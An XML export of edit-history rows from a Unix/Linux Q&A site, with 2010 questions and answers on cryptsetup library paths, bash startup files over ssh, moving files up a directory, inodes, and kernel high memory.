  <row Id="10852" PostHistoryTypeId="5" PostId="4934" RevisionGUID="b873bb47-8821-43f4-9e99-773d94de6a09" CreationDate="2010-12-17T13:05:13.777" UserId="1327" Comment="edited body; deleted 26 characters in body; edited tags" Text="I am running a Fedora Core 13 with dm-crypt + luks, all standard with fedora distos.&#xD;&#xA;&#xD;&#xA;After upgrading libgcrypt.so, cryptsetup moans at boot up that it can not find the library where it expects it to be  ( `/lib` ).&#xD;&#xA;&#xD;&#xA;So I booted with a live cd, decrypted the root partition of that drive, and mounted my old hard drive, then I chroot'ed in there.&#xD;&#xA;&#xD;&#xA;I ran cryptsetup and as expected it bombed out with the same error as when booting up...&#xD;&#xA;I fixed the symlinks, and tested cryptsetup. It worked. &#xD;&#xA;&#xD;&#xA;When I rebooted the same error was there again... I thought that somehow my changes was not being saved. So I booted back into the live OS, mounted the hdd &amp; chroot'ed again, and to my amazement I found my symlink where I left it and cryptsetup working.&#xD;&#xA;&#xD;&#xA;Can someone tell me why this is happening? Why is cryptsetup still looking for the file in /lib and not finding it when its obviously there?!&#xD;&#xA;&#xD;&#xA;P.S. I have also tried making duplicates of the libgcrypt library files in /lib as well as tried recompling cryptsetup from source, it all works 100% untill I reboot and then that error again!&#xD;&#xA;&#xD;&#xA;I am thinkin' of just rebuilding that box, but I thought I'd ask you guys first?&#xD;&#xA;Anyone come across a similar issue?" />
  <row Id="10853" PostHistoryTypeId="6" PostId="4934" RevisionGUID="b873bb47-8821-43f4-9e99-773d94de6a09" CreationDate="2010-12-17T13:05:13.777" UserId="1327" Comment="edited body; deleted 26 characters in body; edited tags" Text="éfedoraàélibcryptàécryptsetupà" />
  <row Id="10854" PostHistoryTypeId="5" PostId="4927" RevisionGUID="6dae5489-57ce-4970-a002-10c8a393d6fd" CreationDate="2010-12-17T13:14:44.327" UserId="3173" Comment="added 559 characters in body; added 68 characters in body; added 32 characters in body" Text="(removed... can only have one Hyperlink as new user ~)&#xD;&#xA;Update&#xD;&#xA;------&#xD;&#xA;&#xD;&#xA;Sorry, I have not seen that this is about a non-interactive session, to which the above link does not apply.&#xD;&#xA;&#xD;&#xA;&gt; When Bash starts in SH compatiblity&#xD;&#xA;&gt; mode, it tries to mimic the startup&#xD;&#xA;&gt; behaviour of historical versions of sh&#xD;&#xA;&gt; as closely as possible, while&#xD;&#xA;&gt; conforming to the POSIX® standard as&#xD;&#xA;&gt; well. The profile files read are&#xD;&#xA;&gt; /etc/profile and ~/.profile, if it's a&#xD;&#xA;&gt; login shell.&#xD;&#xA;&gt; &#xD;&#xA;&gt; If it's not a login shell, the&#xD;&#xA;&gt; environment variable ENV is evaluated&#xD;&#xA;&gt; and the resulting filename is taken as&#xD;&#xA;&gt; name of the startup file.&#xD;&#xA;&gt; &#xD;&#xA;&gt; After the startup files are read, Bash&#xD;&#xA;&gt; enters the POSIX(r) compatiblity mode&#xD;&#xA;&gt; (for running, not for starting!).&#xD;&#xA;&gt; &#xD;&#xA;&gt; Bash starts in sh compatiblity mode&#xD;&#xA;&gt; when:&#xD;&#xA;&gt; &#xD;&#xA;&gt;  &#xD;&#xA;&gt; -      the base filename in argv[0] is sh (:!: Attention dear uber-clever&#xD;&#xA;&gt; Linux users... /bin/sh may be linked&#xD;&#xA;&gt; to /bin/bash, but that doesn't mean it&#xD;&#xA;&gt; acts like /bin/bash :!:)&#xD;&#xA;&#xD;&#xA;So the question is, why doesn't it execute it, even though your shell is started like this.&#xD;&#xA;&#xD;&#xA;[Source][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.bash-hackers.org/scripting/bashbehaviour#sh_mode" />
  <row Id="10855" PostHistoryTypeId="2" PostId="4935" RevisionGUID="f6c84675-3fd8-45ac-ac33-1c8ea580f89a" CreationDate="2010-12-17T14:06:41.710" UserId="195" Text="I don't think so; you'll have to have some way of telling vim whether you want to change between the dollar sign forward or back, and I don't think that it can be programatically determined.&#xD;&#xA;&#xD;&#xA;You can, however, do a &quot;cf$&quot; to change everything from where you are on the line until the next dollar sign, or &quot;cF$&quot; if you want to go to the previous dollar sign." />
  <row Id="10856" PostHistoryTypeId="5" PostId="4929" RevisionGUID="c83eb378-9f31-4521-a805-77f1901989a2" CreationDate="2010-12-17T15:18:24.400" UserId="73" Comment="deleted 59 characters in body" Text="I'm interested in the difference between Highmem and Lowmem:&#xD;&#xA;&#xD;&#xA;1. Why is there such a differentiation?&#xD;&#xA;2. What do we gain by doing so?&#xD;&#xA;3. What features does each have?  &#xD;&#xA;" />
  <row Id="10857" PostHistoryTypeId="10" PostId="4895" RevisionGUID="606cee1a-cf2a-4d44-ba5e-66fc3f981f12" CreationDate="2010-12-17T15:25:16.343" UserId="29" CloseReasonId="2" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="10858" PostHistoryTypeId="10" PostId="4512" RevisionGUID="91130103-85b7-40cd-8ee6-44ecf96c649a" CreationDate="2010-12-17T15:30:21.100" UserId="29" CloseReasonId="2" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="10859" PostHistoryTypeId="10" PostId="4750" RevisionGUID="b5bda5d5-fd98-4a6f-8913-47e760572f9e" CreationDate="2010-12-17T15:32:02.613" UserId="29" CloseReasonId="2" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="10860" PostHistoryTypeId="2" PostId="4936" RevisionGUID="dd389c39-e050-47c3-b1b8-1c28451196f8" CreationDate="2010-12-17T15:48:22.543" UserId="29" Text="So the question seems to be on my work mailing list right now... about how to move files up a single directory. I mean like a bulk move where there might be hundreds or thousands of files in the directory, and you might not be sure about whether there are dupes in `..`. What method would you use?" />
  <row Id="10861" PostHistoryTypeId="1" PostId="4936" RevisionGUID="dd389c39-e050-47c3-b1b8-1c28451196f8" CreationDate="2010-12-17T15:48:22.543" UserId="29" Text="How do you move files up 1 directory?" />
  <row Id="10862" PostHistoryTypeId="3" PostId="4936" RevisionGUID="dd389c39-e050-47c3-b1b8-1c28451196f8" CreationDate="2010-12-17T15:48:22.543" UserId="29" Text="écommandölineàémvà" />
  <row Id="10863" PostHistoryTypeId="2" PostId="4937" RevisionGUID="b5372c79-2fb9-4ec8-9a7f-aa575e5b430b" CreationDate="2010-12-17T15:51:34.690" UserId="305" Text="While it is not possible to not use some sort of initrd it is possible to not use separate initrd files. (I have never used genkernel so I cannot give instruction for it).&#xD;&#xA;&#xD;&#xA;For example I have set option:&#xD;&#xA;&#xD;&#xA;    CONFIG_INITRAMFS_SOURCE=&quot;/usr/src/initrd.contents&quot;&#xD;&#xA;&#xD;&#xA;Where `/usr/src/initrd.contents` in my case looks like (I have LVM+tuxonice+fbsplash):&#xD;&#xA;&#xD;&#xA;    dir	/bin									0755 0 0&#xD;&#xA;    file	/bin/busybox						/bin/busybox						0755 0 0&#xD;&#xA;    file	/bin/lvm						/sbin/lvm.static					0755 0 0&#xD;&#xA;    dir	/dev									0755 0 0&#xD;&#xA;    dir	/dev/fb									0755 0 0&#xD;&#xA;    dir	/dev/misc								0755 0 0&#xD;&#xA;    dir	/dev/vc									0755 0 0&#xD;&#xA;    nod	/dev/console								0600 0 0	c  5   1&#xD;&#xA;    nod	/dev/null								0600 0 0	c  1   3&#xD;&#xA;    nod	/dev/snapshot								0600 0 0	c 10 231&#xD;&#xA;    nod	/dev/tty1								0600 0 0	c  4   0&#xD;&#xA;    dir	/etc									0755 0 0&#xD;&#xA;    dir	/etc/splash								0755 0 0&#xD;&#xA;    dir	/etc/splash/natural_gentoo						0755 0 0&#xD;&#xA;    dir	/etc/splash/natural_gentoo/images					0755 0 0&#xD;&#xA;    file	/etc/splash/natural_gentoo/images/silent-1680x1050.jpg	/etc/splash/natural_gentoo/images/silent-1680x1050.jpg	0644 0 0&#xD;&#xA;    file	/etc/splash/natural_gentoo/images/verbose-1680x1050.jpg	/etc/splash/natural_gentoo/images/verbose-1680x1050.jpg	0644 0 0&#xD;&#xA;    file	/etc/splash/natural_gentoo/1680x1050.cfg		/etc/splash/natural_gentoo/1680x1050.cfg		0644 0 0&#xD;&#xA;    slink	/etc/splash/tuxonice					/etc/splash/natural_gentoo				0755 0 0&#xD;&#xA;    file	/etc/splash/luxisri.ttf					/etc/splash/luxisri.ttf					0644 0 0&#xD;&#xA;    dir	/lib64									0755 0 0&#xD;&#xA;    dir	/lib64/splash								0755 0 0&#xD;&#xA;    dir	/lib64/splash/proc							0755 0 0&#xD;&#xA;    dir	/lib64/splash/sys							0755 0 0&#xD;&#xA;    dir	/proc									0755 0 0&#xD;&#xA;    dir	/mnt									0755 0 0&#xD;&#xA;    dir	/root									0770 0 0&#xD;&#xA;    dir	/sbin									0755 0 0&#xD;&#xA;    file	/sbin/fbcondecor_helper					/sbin/fbcondecor_helper					0755 0 0&#xD;&#xA;    slink	/sbin/splash_helper					/sbin/fbcondecor_helper					0755 0 0&#xD;&#xA;    file	/sbin/tuxoniceui_fbsplash				/sbin/tuxoniceui_fbsplash				0755 0 0&#xD;&#xA;    file	/sbin/tuxoniceui_text					/sbin/tuxoniceui_text					0755 0 0&#xD;&#xA;    dir	/sys									0755 0 0&#xD;&#xA;    file	/init							/usr/src/init&#xD;&#xA;&#xD;&#xA;And `/usr/src/init` is:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #!/bin/busybox ash&#xD;&#xA;    local X ROOT RUNLEVEL INIT PARAM&#xD;&#xA;    # Preliminary stuff&#xD;&#xA;    mount -t proc proc /proc&#xD;&#xA;    mount -t sysfs sysfs /sys&#xD;&#xA;    mdev -s&#xD;&#xA;    /bin/lvm vgchange -ay picard-main&#xD;&#xA;    &#xD;&#xA;    # Try to resume. This never returns if it succeeds&#xD;&#xA;    test -e /sys/power/tuxonice/do_resume &amp;&amp; echo 1 &gt; /sys/power/tuxonice/do_resume&#xD;&#xA;    #/bin/resume&#xD;&#xA;    &#xD;&#xA;    # Parse the command line for relevant options.&#xD;&#xA;    INIT=/sbin/init&#xD;&#xA;    RESCUE=&quot;&quot;&#xD;&#xA;    PARAM=&quot; &quot;&#xD;&#xA;    for X in `cat /proc/cmdline`&#xD;&#xA;    do&#xD;&#xA;            case &quot;$X&quot; in&#xD;&#xA;                    root=*) ROOT=${X#root=} ;;&#xD;&#xA;                    [0-6Ss]) RUNLEVEL=${X} ;;&#xD;&#xA;                    init=*) INIT=${X#init=} ;;&#xD;&#xA;                    rescue) RESCUE=&quot;rescue&quot; ;;&#xD;&#xA;    		splash=*) PARAM=&quot;${PARAM} ${X}&quot; ;;&#xD;&#xA;    		consol=*) PARAM=&quot;${PARAM} ${X}&quot; ;;&#xD;&#xA;            esac&#xD;&#xA;    done&#xD;&#xA;    &#xD;&#xA;    if [ x${RESCUE} = xrescue ]&#xD;&#xA;    then&#xD;&#xA;            busybox ash&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    # Mount and switch root.&#xD;&#xA;    mount -o ro ${ROOT} /mnt&#xD;&#xA;    umount -f /sys || umount -l /sys&#xD;&#xA;    umount -f /proc || umount -l /proc&#xD;&#xA;    &#xD;&#xA;    exec switch_root /mnt ${INIT} ${RUNLEVEL} ${PARAM}&#xD;&#xA;" />
  <row Id="10864" PostHistoryTypeId="5" PostId="4936" RevisionGUID="b8850be5-8b89-4d4d-9767-dfaeccd0bc83" CreationDate="2010-12-17T15:57:13.147" UserId="29" Comment="note centos" Text="So the question seems to be on my work mailing list right now... about how to move files up a single directory. I mean like a bulk move where there might be hundreds or thousands of files in the directory, and you might not be sure about whether there are dupes in `..`. What method would you use?&#xD;&#xA;&#xD;&#xA;How to handle dupes will vary, sometimes we'll overwrite, sometimes we need to be safer. IO can be important because these are production servers. But given quantity a prompt for non duplicate files isn't an option. Preservation of permissions, and timestamps, etc, is important. We usually won't know what the data is.&#xD;&#xA;&#xD;&#xA;Oh and it using `mv` isn't required, `rsync`, `cp` solutions welcome.&#xD;&#xA;&#xD;&#xA;*note: we're running CentOS 5.5 so let me know if it won't work there due to it being a more recent... feature*" />
  <row Id="10865" PostHistoryTypeId="2" PostId="4938" RevisionGUID="fe3de0f1-2291-4316-9ba7-6b395a317d36" CreationDate="2010-12-17T16:00:01.480" UserId="591" Text="You can try&#xD;&#xA;&#xD;&#xA;    find . -maxdepth 1 -print0 | xargs -I '{}' -r0 mv '{}' ..&#xD;&#xA;&#xD;&#xA;which will overwrite dupe files in ..&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10866" PostHistoryTypeId="2" PostId="4939" RevisionGUID="8d154f30-1e0b-4f00-80ec-838d09ab0832" CreationDate="2010-12-17T16:05:18.010" UserId="29" Text="I said on our ML&#xD;&#xA;&#xD;&#xA;    mv * ..&#xD;&#xA;&#xD;&#xA;obviously this isn't very safe... it will overwrite things. It might have limits that I've never run into." />
  <row Id="10867" PostHistoryTypeId="5" PostId="4938" RevisionGUID="1f2e482b-7ba7-40c0-bf0b-e9e00c140375" CreationDate="2010-12-17T16:07:27.263" UserId="591" Comment="added 78 characters in body" Text="You can try&#xD;&#xA;&#xD;&#xA;    find . -maxdepth 1 -print0 | xargs -I '{}' -r0 mv '{}' ..&#xD;&#xA;&#xD;&#xA;which will overwrite dupe files in ..&#xD;&#xA;&#xD;&#xA;You can use mv -u '{}' to not overwrite if the dupe in .. is the same or newer" />
  <row Id="10868" PostHistoryTypeId="6" PostId="4936" RevisionGUID="75540f40-e4e2-42b0-813e-b66cb79dc330" CreationDate="2010-12-17T16:18:16.350" UserId="29" Comment="add IO tag" Text="écommandölineàéioàémvà" />
  <row Id="10869" PostHistoryTypeId="2" PostId="4940" RevisionGUID="28780cfb-bec5-435f-883b-8968f178b38f" CreationDate="2010-12-17T16:24:17.157" UserId="1257" Text="In this example will move files from '/parent/old-dir' to '/parent':&#xD;&#xA;&#xD;&#xA;    cd /parent&#xD;&#xA;&#xD;&#xA;    rsync -av --progress old-dir/ .&#xD;&#xA;    &#xD;&#xA;    rm -rf old-dir&#xD;&#xA;&#xD;&#xA;By rsync rules it will replace dups with newer files from `old-dir`." />
  <row Id="10871" PostHistoryTypeId="2" PostId="4942" RevisionGUID="d3224e55-dea9-4269-bedd-7dd8b50f647e" CreationDate="2010-12-17T16:27:49.617" UserId="2150" Text="The following is a python template that I have used to good effect in the past.&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env python&#xD;&#xA;    #&#xD;&#xA;    # Bart Kastermans, www.bartk.nl&#xD;&#xA;    #&#xD;&#xA;    # rename of collection of files in a directory&#xD;&#xA;    import os&#xD;&#xA;    import shutil&#xD;&#xA;&#xD;&#xA;    # only work on files whose name starts with a D&#xD;&#xA;    files = [filename for filename in os.listdir (&quot;/Users/kasterma/Music/Audio Hijack/&quot;) if filename[0] ==&quot;D&quot;]&#xD;&#xA;&#xD;&#xA;    for filename in files:&#xD;&#xA;        shutil.move (filename, filename [:23] + &quot;.mp3&quot;)&#xD;&#xA;" />
  <row Id="10873" PostHistoryTypeId="2" PostId="4944" RevisionGUID="7400127b-4876-4131-96a0-30f30af4e707" CreationDate="2010-12-17T16:32:58.147" UserId="2701" Text="I would recommend using rsync from the parent:&#xD;&#xA;&#xD;&#xA;    rsync -avPr -b --suffix='-original' child/* .&#xD;&#xA;&#xD;&#xA;which will backup all existing duplicate files in parent to *file*-original." />
  <row Id="10874" PostHistoryTypeId="2" PostId="4945" RevisionGUID="95e7d65b-3d84-4aa2-89fd-c1a4b9d22389" CreationDate="2010-12-17T16:40:21.783" UserId="1257" Text="Usually upon login, bash reads commands from:&#xD;&#xA;&#xD;&#xA;~/.bash_profile  &#xD;&#xA;~/.bashrc&#xD;&#xA;&#xD;&#xA;From bash man page:&#xD;&#xA;&#xD;&#xA;&gt; ~/.bash_profile  &#xD;&#xA;&gt;     The personal initialization file, executed for login shells&#xD;&#xA;&#xD;&#xA;&gt; ~/.bashrc  &#xD;&#xA;&gt;     The individual per-interactive-shell startup file" />
  <row Id="10877" PostHistoryTypeId="2" PostId="4946" RevisionGUID="e021ff8a-a8aa-4972-805a-fef3888ea2cd" CreationDate="2010-12-17T16:43:53.783" UserId="1071" Text="The vim &lt;a href=&quot;https://launchpad.net/vim-latex-box&quot;&gt;LaTeX box plugin&lt;/a&gt; adds this feature. If you didn't want to use the rest of the plugin, you could just look at the source and see how it is done. &#xD;&#xA;&#xD;&#xA;I think some of the other LaTeX plugins for vim probably have that feature too. There are at least four major ones, the LaTeX box one is the one I'm most familiar with." />
  <row Id="10880" PostHistoryTypeId="2" PostId="4948" RevisionGUID="8910a7db-4946-4270-896b-369dbe714e2a" CreationDate="2010-12-17T18:19:20.557" UserId="2996" Text="On a single-board computer running Linux, is there a way to read the contents of the device configuration registers that control hardware? I think it would be a wrapper for inw(), more or less.&#xD;&#xA;&#xD;&#xA;I'm looking for something equivalent to the U-boot memory dump (md) command, to be used in the context of driver debugging." />
  <row Id="10881" PostHistoryTypeId="1" PostId="4948" RevisionGUID="8910a7db-4946-4270-896b-369dbe714e2a" CreationDate="2010-12-17T18:19:20.557" UserId="2996" Text="Shell command to read device registers?" />
  <row Id="10882" PostHistoryTypeId="3" PostId="4948" RevisionGUID="8910a7db-4946-4270-896b-369dbe714e2a" CreationDate="2010-12-17T18:19:20.557" UserId="2996" Text="éshellàéembeddedàémemoryà" />
  <row Id="10884" PostHistoryTypeId="2" PostId="4950" RevisionGUID="150ccbde-d0ce-465f-9589-c6307b94f7f8" CreationDate="2010-12-17T18:48:56.997" UserId="2655" Text="Documentation of Unix-file-systems contains often the term 'inode'. What is that and what does that? Why have DOS/Windows-filesystems no inodes (or do they)?" />
  <row Id="10885" PostHistoryTypeId="1" PostId="4950" RevisionGUID="150ccbde-d0ce-465f-9589-c6307b94f7f8" CreationDate="2010-12-17T18:48:56.997" UserId="2655" Text="What is an inode?" />
  <row Id="10886" PostHistoryTypeId="3" PostId="4950" RevisionGUID="150ccbde-d0ce-465f-9589-c6307b94f7f8" CreationDate="2010-12-17T18:48:56.997" UserId="2655" Text="éfilesystemsà" />
  <row Id="10887" PostHistoryTypeId="2" PostId="4951" RevisionGUID="ed03a82e-0936-4807-8bf3-3a75f05b616d" CreationDate="2010-12-17T19:25:08.340" UserId="732" Text="&quot;inode&quot; is the informal term that refers to whatever on-disk chunk of data a Unix-file-system uses to hold the information pertaining to a single file.  An &quot;inode&quot; traditionally holds the block numbers of disk blocks holding the file's actual contents.  A directory entry traditionally held file name, file type, etc.  The two chunks of data were separated.&#xD;&#xA;&#xD;&#xA;That said, a lot of Unixy-things fall out of it.  Traditionally, a file name wasn't part of the inode.  The file name came from a &quot;directory&quot;, a file (which had it's own inode and contents) that matched up file name to inode number. A C-preprocessor macro allowed code to go from inode-number to disk block with very little calculation.&#xD;&#xA;&#xD;&#xA;So, many names could refer to the same inode.  Hard links come out of this. So does the ability to have &quot;.&quot; always refer to the current directory without trickery.  A directory always contains &quot;.&quot; and &quot;..&quot; filenames, which correspond to the inode numbers of the directory itself, and the directory in which the directory resides.  &quot;.&quot; and &quot;..&quot; filenames have entrys in each and every directory.  They're not special cases in the filesystem code that don't really have data anywhere.&#xD;&#xA;&#xD;&#xA;The hierarchy of Unix files come out of the inodes.  A disk is essentially a linear array of &quot;blocks&quot; of a certain size, 512 bytes, 1 kilobytes, 4 kilobytes, whatever.  Inode 0 was always at a designated disk block, allowing the Unix kernel to find the root of a filesystem by just knowing &quot;inode 0&quot;, and it could associate &quot;/&quot; with inode 9.  Inode 0 was also a directory file.  &quot;usr&quot;, &quot;bin&quot;, &quot;tmp&quot;, &quot;dev&quot; etc had entries in inode 0.  So the inodes allow mapping a linear list of blocks of data from a disk into a hierarchical structure.&#xD;&#xA;&#xD;&#xA;Inodes lived on-disk. In the original unix filesystem, the first third or quarter of a disk was inodes.  The rest was data blocks, allocated to files as needed, and whose disk block numbers ended up in inodes.  Various fileystems over the years (BSD FFS, for example) tried to take into account the actual physical geometry of the disk by putting zones of inodes at different places on the disk.&#xD;&#xA;&#xD;&#xA;The Winodws NT &quot;NTFS&quot; filesystem has something immediately analogous to an inode: entries in the master file table.  NTFS seems to have inherited that from its ancestor, DEC VMS Files-11.  Files-11 &quot;file headers&quot; appear almost identical to entries in $MFT.&#xD;&#xA;&#xD;&#xA;I'm not at all expert with other Windows/DOS filesystems (FAT, FAT32, etc etc), but the records in the File Allocation Table seem like analogs of a combined directory entry and inode to me.  I imagine that combining naming and hierarcy along with disk block data is what makes FAT filesystems so fragile.  You can't have a program comb through separate inode on-disk data and put the files it finds into &quot;lost+found&quot; - once the File Allocation Table gets corrupted, blocks membership in files data is lost, as well as files membership in directory.&#xD;&#xA;" />
  <row Id="10888" PostHistoryTypeId="2" PostId="4952" RevisionGUID="e7180603-f6f2-4fd3-b643-e78ceac75f39" CreationDate="2010-12-17T20:02:54.730" UserId="885" Text="`mv -i` only prompts if the destination exists.&#xD;&#xA;&#xD;&#xA;`yes n | mv -i …` moves all files that don't exist in the destination directory. On FreeBSD and OSX, you can shorten this to `mv -n …`.&#xD;&#xA;&#xD;&#xA;Note that neither of these will merge a directory argument with an existing directory in the same name in the destination directory.&#xD;&#xA;" />
  <row Id="10889" PostHistoryTypeId="6" PostId="4948" RevisionGUID="89f372af-a2b3-4d46-b212-6b8b0781ce3f" CreationDate="2010-12-17T20:15:43.367" UserId="885" Comment="edited tags" Text="élinuxàéshellàéembeddedàémemoryàédevicesà" />
  <row Id="10890" PostHistoryTypeId="2" PostId="4953" RevisionGUID="185fd086-9e27-45e4-9680-0c04be051fbc" CreationDate="2010-12-17T20:35:36.197" UserId="885" Text="`~/.profile` is only executed by login shells. The program that calls the shell decides whether the shell will be a login shell (by putting a `-` as the first character of the zeroth argument on the shell invocation). It is typically not executed when you log in to execute a specific command.&#xD;&#xA;&#xD;&#xA;OpenSSH in particular invokes a login shell only if you don't specify a command. So if you do specify a command, `~/.profile` won't be read.&#xD;&#xA;&#xD;&#xA;OpenSSH allows setting environment variables on the server side. This must be enabled in the [server configuration](http://www.openbsd.org/cgi-bin/man.cgi?query=sshd_config&amp;sektion=5), with the `PermitUserEnvironment` directive. The variables can be set in the file [`~/.ssh/environment`](http://www.openbsd.org/cgi-bin/man.cgi?query=sshd&amp;sektion=8#FILES). Assuming you use public key authentication, you can also set per-key variables in [`~/.ssh/authorized_keys`](http://www.openbsd.org/cgi-bin/man.cgi?query=sshd&amp;sektion=8#SSHRC): add `environment=&quot;FOO=bar&quot;` at the beginning of the relevant line.&#xD;&#xA;&#xD;&#xA;Ssh also supports sending environment variables. In OpenSSH, use the `SendEnv` directive in [`~/.ssh/config`](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh_config&amp;sektion=5). However the specific environment variable must be enabled with an `AcceptEnv` directive in the server configuration, so this may well not work out for you.&#xD;&#xA;&#xD;&#xA;One thing that I think always works (oddly enough) as long as you're using public key authentication is to **(ab)use the `command=` option in the `authorized_keys` file**. A key with a `command` option is good only for running the specified command; but the command in the `authorized_keys` file runs with the environment variable `SSH_ORIGINAL_COMMAND` set to the command the user specified. So you can use something like this in `~/.ssh/authorized_keys` (of course, it won't apply if you don't use this key to authenticate):&#xD;&#xA;&#xD;&#xA;    command=&quot;. ~/.profile; eval \&quot;$SSH_ORIGINAL_COMMAND\&quot;&quot; ssh-rsa …&#xD;&#xA;&#xD;&#xA;Another possibility is to write a wrapper scripts on the server. Something like the following in `~/bin/ssh-wrapper`:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    . ~/.profile&#xD;&#xA;    exec &quot;${0##*/}&quot; &quot;$@&quot;&#xD;&#xA;&#xD;&#xA;Then make symbolic links to this script called `rsync`, `unison`, etc. Pass `--rsync-path='bin/rsync'` on the `rsync` command line, and so on for other programs. Alternatively, some commands allow you to specify a whole shell snippet to run remotely, which allows you to make the command self-contained: for example, with rsync, you can use `--rsync-path='. ~/.profile; rsync'`.&#xD;&#xA;&#xD;&#xA;There is another avenue which depends on your login shell being bash or zsh. Bash always reads `~/.bashrc` when it's invoked by rshd or sshd, even if it's not interactive (but not if it's called as `sh`). Zsh always reads `~/.zshenv`.&#xD;&#xA;&#xD;&#xA;    ## ~/.bashrc&#xD;&#xA;    if [[ $- != *i* ]]; then&#xD;&#xA;      # Either .bashrc was sourced explicitly, or this is an rsh/ssh session.&#xD;&#xA;      . ~/.profile&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    ## ~/.zshenv&#xD;&#xA;    if [[ $(ps -p $PPID -o comm=) = [rs]shd &amp;&amp; $- != *l* ]]; then&#xD;&#xA;      # Not a login shell, but this is an rsh/ssh session&#xD;&#xA;      . ~/.profile&#xD;&#xA;    fi&#xD;&#xA;" />
  <row Id="10891" PostHistoryTypeId="4" PostId="4921" RevisionGUID="ee49a7f2-eead-439e-9fff-dcd0580f4550" CreationDate="2010-12-17T20:36:41.483" UserId="885" Comment="edited tags; edited title" Text="sh startup files over ssh" />
  <row Id="10892" PostHistoryTypeId="6" PostId="4921" RevisionGUID="ee49a7f2-eead-439e-9fff-dcd0580f4550" CreationDate="2010-12-17T20:36:41.483" UserId="885" Comment="edited tags; edited title" Text="ébashàésshàéshellàéprofileà" />
  <row Id="10894" PostHistoryTypeId="19" PostId="4936" RevisionGUID="2f2ebcd4-2c2b-4e57-b943-3fae3e6ae2ce" CreationDate="2010-12-17T20:48:26.800" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="10895" PostHistoryTypeId="2" PostId="4954" RevisionGUID="ab96721b-111a-4c6b-baeb-fee32e12b2f1" CreationDate="2010-12-17T20:55:04.300" UserId="885" Text="The first reference to turn to is [Linux Device Drivers](http://lwn.net/Kernel/LDD3/) (available both online and in book form), particularly [chapter 15](http://lwn.net/images/pdf/LDD3/ch15.pdf) which has a section on the topic.&#xD;&#xA;&#xD;&#xA;In an ideal world, every system component would be able to map all the memory it ever needs to access. And this is the case for processes on Linux and most operating systems: a 32-bit process can only access a little less than 2^32 bytes of virtual memory (in fact about 3GB on a typical Linux 32-bit architecture). It gets difficult for the kernel, which needs to be able to map the full memory of the process whose system call it's executing, plus the whole physical memory, plus any other memory-mapped hardware device.&#xD;&#xA;&#xD;&#xA;So when a 32-bit kernel needs to map more than 4GB of memory, it must be compiled with high memory support. High memory is memory which is not permanently mapped in the kernel's address space. (Low memory is the opposite: it is always mapped, so you can access it in the kernel simply by dereferencing a pointer.)&#xD;&#xA;&#xD;&#xA;When you access high memory from kernel code, you need to call `kmap` first, to obtain a pointer from a page data structure (`struct page`). Calling `kmap` works whether the page is in high or low memory. There is also `kmap_atomic` which has added constraints but is more efficient on multiprocessor machines because it uses finer-grained locking. The pointer obtained through `kmap` is a resource: it uses up address space. Once you've finished with it, you must call `kunmap` (or `kunmap_atomic`) to free that resource; then the pointer is no longer valid, and the contents of the page can't be accessed until you call `kmap` again.&#xD;&#xA;" />
  <row Id="10896" PostHistoryTypeId="4" PostId="4929" RevisionGUID="c271f93d-d9e0-4fb9-887e-95a8c056e5fe" CreationDate="2010-12-17T20:55:56.997" UserId="885" Comment="edited tags; edited title" Text="What are high memory and low memory on Linux?" />
  <row Id="10897" PostHistoryTypeId="6" PostId="4929" RevisionGUID="c271f93d-d9e0-4fb9-887e-95a8c056e5fe" CreationDate="2010-12-17T20:55:56.997" UserId="885" Comment="edited tags; edited title" Text="élinuxàékernelàémemoryà" />
  <row Id="10898" PostHistoryTypeId="10" PostId="4950" RevisionGUID="594f6d83-10e3-4556-8702-3c942074db32" CreationDate="2010-12-17T21:06:48.287" UserId="29" CloseReasonId="1" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="10899" PostHistoryTypeId="5" PostId="4950" RevisionGUID="02d6371e-ebf1-4aa6-a32e-37bcd3d7a7f6" CreationDate="2010-12-17T21:06:48.427" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What is a Superblock, Inode, Dentry and a File?](http://unix.stackexchange.com/questions/4402/what-is-a-superblock-inode-dentry-and-a-file)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Documentation of Unix-file-systems contains often the term 'inode'. What is that and what does that? Why have DOS/Windows-filesystems no inodes (or do they)?" />
  <row Id="10900" PostHistoryTypeId="2" PostId="4955" RevisionGUID="33737efa-9c69-4b71-9d95-3433d30abc29" CreationDate="2010-12-17T22:44:49.433" UserId="688" Text="You know that part of top that says **waiting** when something is doing a lot of hard disc access. The higher this value is, the worse your system performs. What can I use to display the worst offenders?" />
  <row Id="10901" PostHistoryTypeId="1" PostId="4955" RevisionGUID="33737efa-9c69-4b71-9d95-3433d30abc29" CreationDate="2010-12-17T22:44:49.433" UserId="688" Text="How to check which process is hogging the HDD?" />
  <row Id="10902" PostHistoryTypeId="3" PostId="4955" RevisionGUID="33737efa-9c69-4b71-9d95-3433d30abc29" CreationDate="2010-12-17T22:44:49.433" UserId="688" Text="éprocessömanagementà" />
  <row Id="10903" PostHistoryTypeId="5" PostId="429" RevisionGUID="29345b8a-9cdc-44dd-b517-b3f187eaf072" CreationDate="2010-12-17T22:51:36.723" UserId="29" Comment="show commands" Text="I would give `iotop` a try. It is pretty good in giving you the processes with high io transfers. But `iotop` is more to display the current status than logging.&#xD;&#xA;&#xD;&#xA;For logging,  `sar` is always a good tool for performance aspects. " />
